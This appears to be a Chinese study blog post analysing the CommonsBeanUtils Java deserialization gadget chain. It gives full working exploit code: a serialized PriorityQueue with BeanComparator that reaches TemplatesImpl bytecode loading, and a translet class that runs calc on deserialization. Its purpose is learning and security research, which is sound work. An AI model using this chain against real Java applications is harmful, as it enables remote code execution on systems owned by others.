本文最后更新于 2026-02-09T22:31:34+08:00
学习文章:https://drun1baby.top/2022/07/12/CommonsBeanUtils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
环境搭建
还是和之前CC链一样用的jdk8u65
依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <dependencies> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> </dependencies>
|
CommonsBeanUtils简介
在 Apache Commons 工具集下除了collections以外还有BeanUtils,它主要用于操控 JavaBean
以 Utils 结尾,一般都是一个工具类
JavaBean
JavaBean的概念
廖雪峰老师的文章:https://liaoxuefeng.com/books/java/oop/core/javabean/index.html
JavaBean是一种符合特定命名规范的Java类,特征:
基本规范:
- 包含多个 private 实例字段
- 通过规范的
getter和setter方法来读写字段
- 方法命名遵循:
- 读方法:
public Type getXyz()
- 写方法:
public void setXyz(Type value)
- boolean字段特殊:读方法为
pubilc boolean isXyz()
属性概念:
- 一组对应的
getter和setter方法称为一个属性
- 只有
getter的属性:只读属性
- 只有
setter的属性:只写属性
- 属性不一定需要对应字段,可以通过方法计算得出
在 IDE 中可以自动生成getter和setter方法
使用Introspector.getBeanInfo()可枚举所有属性
CommonsBeanUtils中操作JavaBean类
比如写一个简单的 JavaBean 类:
1 2 3 4 5 6 7 8 9 10 11
| public class Person { private String name = "Suzen";
public String getName() { return name; }
public void setName(String name) { this.name = name; } }
|
定义了两个简单的getter和setter方法
CommonsBeanUtils 中提供了一个静态方法PropertyUtils.getProperty,可以让使用者调用任意 JavaBean 的getter方法
举个例子:
1 2 3 4 5 6 7
| import org.apache.commons.beanutils.PropertyUtils;
public class Test { public static void main(String[] args) throws Exception{ System.out.println(PropertyUtils.getProperty(new Person(),"name")); } }
|

CommonsBeanUtils 会自动找到Person类中的name属性的getter方法(即getName()方法),然后调用并获取返回值
这就可以想到能任意函数调用
分析链子
CB链的前面是和 CC2 或 CC4 的前面部分差不多一样的,尾部就是利用的动态加载 TemplatesImpl 字节码执行代码

看一下逻辑图差不多是这样的,在TemplatesImpl#newTransformer()也可以多一步TemplatesImpl#getOutputProperties(),总体来说链子是:
1 2 3 4 5
| TemplatesImpl#getOutputProperties() => TemplatesImpl#newTransformer() => TemplatesImpl#getTransletInstance() => TemplatesImpl#defineTransletClasses() => TransletClassLoader#defineClass()
|
在链子的最开头的TemplatesImpl#getOutputProperties()是一个getter方法,并且作用域是public

所以就可以通过刚才说的 CommonsBeanUtils 中的PropertyUtils.getProperty方法获取到,比如:
1 2
| PropertyUtils.getProperty(TemplatesImpl, outputProperties)
|
这是个伪代码,实际写的时候肯定不是这样
然后就是要看谁调用了PropertyUtils.getProperty()

这里BeanComparator的compare()方法就很好,因为经常会用到,被其他方法调用,继续找哪里调用的这个方法
之前CC链里学过了 CC2 和 CC4 就可以很容易想到PriorityQueue.siftDownUsingComparator()会调用到compare()方法,看一下逻辑图:

在 CC2 和 CC4 中是去调用的TransformingComparator.compare(),这里直接改成去调用BeanComparator.compare()就行了
总结一下:
所以 CB 链就是用 CC2 或CC4 前面部分的链子,在PriorityQueue.siftDownUsingComparator()后去调用BeanComparator.compare(),继而调用到PropertyUtils.getProperty(),然后就可以利用其可以调用任意 JavaBean 的getter方法的特性,去调用到身为getter方法的TemplatesImpl#getOutputProperties(),再往后就是利用动态加载 TemplatesImpl 字节码执行代码
逻辑图

构造EXP
先把其他的工具方法写好:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public static void setField(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void serialize(Object obj) throws Exception{ java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static void unserialize(String Filename) throws Exception{ java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); ois.readObject(); ois.close(); }
|
还有准备好加载的恶意类Calc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
|
尾部的是利用动态加载 TemplatesImpl 字节码执行代码,直接从之前 CC 链中写好的拿过来用
1 2 3 4 5 6
| TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "CB"); byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class")); byte[][] codes = {code}; setField(templates, "_bytecodes",codes); setField(templates, "_tfactory",new TransformerFactoryImpl());
|
然后是中间的BeanComparator.compare()和PropertyUtils.getProperty()
先去看一下BeanComparator.compare()

compare()方法传入两个对象o1和o2,先判断this.property是否为null
- 如果为
null:直接比较这俩对象
- 如果不为
null:用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值
所以需要新建一个PriorityQueue 的队列,让其中的两个值进行比较
看一下BeanComparator的构造函数,这里就选第一个无参的吧

然后通过反射来给property进行赋值,将其修改为outputProperties(这种赋值最好都用反射来进行设置)
1 2
| BeanComparator<Object> beanComparator = new BeanComparator<>(); setField(beanComparator,"property","outputProperties");
|
最后就是直接把 CC2 或 CC4 的前面部分拿来用了,这里也用反射,否则会提前在序列化的时候执行
1 2 3
| PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,beanComparator); setField(priorityQueue,"size",2); setField(priorityQueue,"queue",new Object[]{templates, templates});
|
加上序列化和反序列化的
1 2
| serialize(priorityQueue); unserialize("ser.bin");
|
先序列化,没问题,没有提前执行

然后反序列化,成功弹计算器了

完整EXP
CB.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB { public static void setField(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void serialize(Object obj) throws Exception{ java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static void unserialize(String Filename) throws Exception{ java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); ois.readObject(); ois.close(); }
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "CB"); byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class")); byte[][] codes = {code}; setField(templates, "_bytecodes",codes); setField(templates, "_tfactory",new TransformerFactoryImpl());
BeanComparator<Object> beanComparator = new BeanComparator<>(); setField(beanComparator,"property","outputProperties");
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,beanComparator); setField(priorityQueue,"size",2); setField(priorityQueue,"queue",new Object[]{templates, templates});
serialize(priorityQueue);
} }
|
本地用来测试的恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
|